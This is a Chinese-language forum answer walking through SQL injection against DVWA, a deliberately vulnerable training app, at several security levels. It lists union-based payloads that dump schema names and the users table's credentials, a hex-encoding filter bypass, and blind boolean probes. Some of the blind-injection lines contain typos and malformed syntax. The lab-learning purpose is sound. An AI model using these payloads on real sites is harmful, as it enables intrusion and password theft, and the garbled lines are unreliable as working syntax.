DVWA-SQL注入分析

DVWA-SQL注入分析
最新回答
茵沫

2022-11-13 04:20:56

DVWA-SQL注入分析

DVWA(Damn Vulnerable Web Application)是一个用于安全研究的漏洞测试平台,其中的SQL注入模块展示了不同安全级别下的注入漏洞利用方式。以下是对DVWA中SQL注入的详细分析:

  • SQL普通注入

    Security Level Low

    注入点探测:通过输入单引号(')试探,发现存在SQL注入漏洞。

    数据爆出:输入t'='t'爆出当前表的所有数据。

    字段数猜解:使用1' order by 1#逐步增加数字,直到回显出错,确定字段数为2。

    联合查询:输入1' union select 1,2#,回显正常,确认可以进行联合查询。

    数据库名获取:输入1' union select 1,database() #,获取当前数据库名为dvwa。

    表名获取:输入1' union select 1,table_name from information_schema.tables where table_schema='dvwa' #,得到表名guestbook和users。

    列名获取:输入1' union select 1,column_name from information_schema.columns where table_name='users' #,获取users表下的列名,重点关注user和password。

    数据获取:输入1' union select user,password from users #,获取用户名与用户密码。

    Security Level Medium

    输入限制:通过下拉框限制输入,需抓包改包进行注入。

    数字型输入:输入1 or 1=1#回显正常,确认是数字型输入。

    查询绕过:利用改包重复之前的查询步骤,先查数据库、再查表、再查字段名。

    16进制绕过:发现对单引号(')等符号进行了转义,使用16进制字符绕过,如将'dvwa'改为0x64767761,'users'改为0x7573657273。

    数据获取:输入1 union select user,password from users #,获取用户名与密码。

    Security Level High

    解法相似:与Low等级解法基本相同。

    输出限制:据源码了解,存在LIMIT 1对输出进行限制,但输入的查询语句末的#将其注释掉,因此仍可进行注入。

  • SQL盲注

    Security Level Low

    回显判断:输入正确时回显User ID exists in the database.,错误时回显User ID is MISSING from the database.,以此为基础进行盲注测试。

    注入点测试:输入1' or 1=1#回显正确,输入1' or 1=2#回显错误,判断存在注入点。

    数据库名长度猜解:输入1' and length(database())=1 #,逐步增加数字,直到回显正确,确定数据库名长度为4。

    数据库名猜解:输入1 and ascii(substr(databse(),1,1))>97 #等语句,逐步猜解数据库名。

    表数量猜解:输入1' and (select count (table_name) from information_schema.tables where table_schema=database())=1 #,猜出表数量为2。

    表长度猜解:输入1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #,猜解表名长度。

    表名猜解:输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #,猜解表名。

    字段数猜解:输入1' and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 #,猜解字段数。

    字段名猜解:输入1' and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #,猜解字段名。

    数据猜解:输入1' and ascii(substr((user from users limit 0,1),1,1))>97 #,猜解数据。

通过以上分析,可以看出DVWA中的SQL注入漏洞在不同安全级别下的利用方式和特点。在实际应用中,应加强对输入参数的验证和过滤,防止SQL注入攻击的发生。